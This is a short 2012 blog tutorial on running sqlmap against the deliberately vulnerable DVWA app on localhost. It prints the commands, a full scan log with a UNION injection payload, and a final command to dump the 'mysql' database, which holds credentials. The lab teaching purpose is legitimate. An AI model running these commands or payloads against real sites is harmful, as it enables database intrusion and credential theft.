Jumat, 10 Februari 2012

how to use sqlmap

what is sqlmap
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a kick-ass detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
how to use it
first thing that must we do before use this tools is we must make sure that the web are had a vulnerability in SQLi. for example http://192.168.0.21/data/get_int.php?id=1 when we put the single quote after the last address and we see some thing error on it. it mean that we can use the sqlmap.int he class we know that dvwa have an vulnerability in sqli so we just type like bellow
root@bt:/pentest/database/sqlmap# ./sqlmap.py  -u "http://localhost/dvwa/vulnerabilities/sqli/?id=%27&Submit=Submit" --cookie="security=low; Xplico=6pkfig990001f3sqqmmjcr5im7; PHPSESSID=ao6gfq0ou4bafia7vphn6qfvl0" --dbs
command above will produce the information about the database content on the server.
sqlmap/1.0-dev (r4009) - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net
[!] Legal Disclaimer: usage of sqlmap for attacking web servers without prior mutual consent can be considered as an illegal activity. it is the final user's responsibility to obey all applicable local, state and federal laws. authors assume no liability and are not responsible for any misuse or damage caused by this program.
[*] starting at: 21:53:15
[21:53:15] [INFO] using '/pentest/database/sqlmap/output/localhost/session' as session file
[21:53:15] [INFO] testing connection to the target url
[21:53:15] [INFO] heuristics detected web page charset 'ascii'
[21:53:16] [WARNING] there is a DBMS error found in the HTTP response bodywhich could interfere with the results of the tests
[21:53:16] [INFO] testing if the url is stable, wait a few seconds
[21:53:17] [INFO] url is stable
[21:53:17] [INFO] testing if GET parameter 'id' is dynamic
[21:53:17] [INFO] confirming that GET parameter 'id' is dynamic
[21:53:17] [INFO] GET parameter 'id' is dynamic
[21:53:17] [INFO] heuristic test shows that GET parameter 'id' might be injectable (possible DBMS: MySQL)
[21:53:17] [INFO] testing sql injection on GET parameter 'id'
[21:53:17] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:53:17] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[21:53:17] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[21:53:17] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
parsed error message(s) showed that the back-end DBMS could be MySQL. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[21:53:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[21:53:24] [INFO] target url appears to be UNION injectable with 2 columns
[21:53:24] [INFO] GET parameter 'id' is 'MySQL UNION query (NULL) - 1 to 10 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others? [y/N] y
[21:53:28] [INFO] testing if GET parameter 'Submit' is dynamic
[21:53:28] [WARNING] GET parameter 'Submit' appears to be not dynamic
[21:53:28] [INFO] heuristic test shows that GET parameter 'Submit' might be injectable (possible DBMS: MySQL)
[21:53:28] [INFO] testing sql injection on GET parameter 'Submit'
[21:53:28] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:53:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[21:53:29] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[21:53:29] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[21:53:29] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[21:53:29] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[21:53:30] [WARNING] GET parameter 'Submit' is not injectable
sqlmap identified the following injection points with a total of 149 HTTP(s) requests:
---
Place: GET
Parameter: id
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=' UNION ALL SELECT NULL, CONCAT(CHAR(58,116,101,121,58),CHAR(84,105,69,117,65,89,80,116,111,103),CHAR(58,99,116,99,58))# &Submit=Submit
---
[21:53:30] [INFO] manual usage of GET payloads requires url encoding
[21:53:30] [INFO] testing MySQL
[21:53:30] [INFO] confirming MySQL
[21:53:30] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 10.04 (Lucid Lynx)
web application technology: PHP 5.3.2, Apache 2.2.14
back-end DBMS: MySQL >= 5.0.0
[21:53:30] [INFO] fetching database names
available databases [4]:
[*] dvwa
[*] fbip
[*] information_schema
[*] mysql
[21:53:30] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/localhost'
[*] shutting down at: 21:53:30


 we see that in the end information server available data base. there are 4 database. what about to dump the database. to dump the database we must type command like bellow
 root@bt:/pentest/database/sqlmap# ./sqlmap.py  -u "http://localhost/dvwa/vulnerabilities/sqli/?id='&Submit=Submit" --cookie="security=low; Xplico=6pkfig990001f3sqqmmjcr5im7; PHPSESSID=ao6gfq0ou4bafia7vphn6qfvl0"-D mysql  --dump 

Tidak ada komentar:

Posting Komentar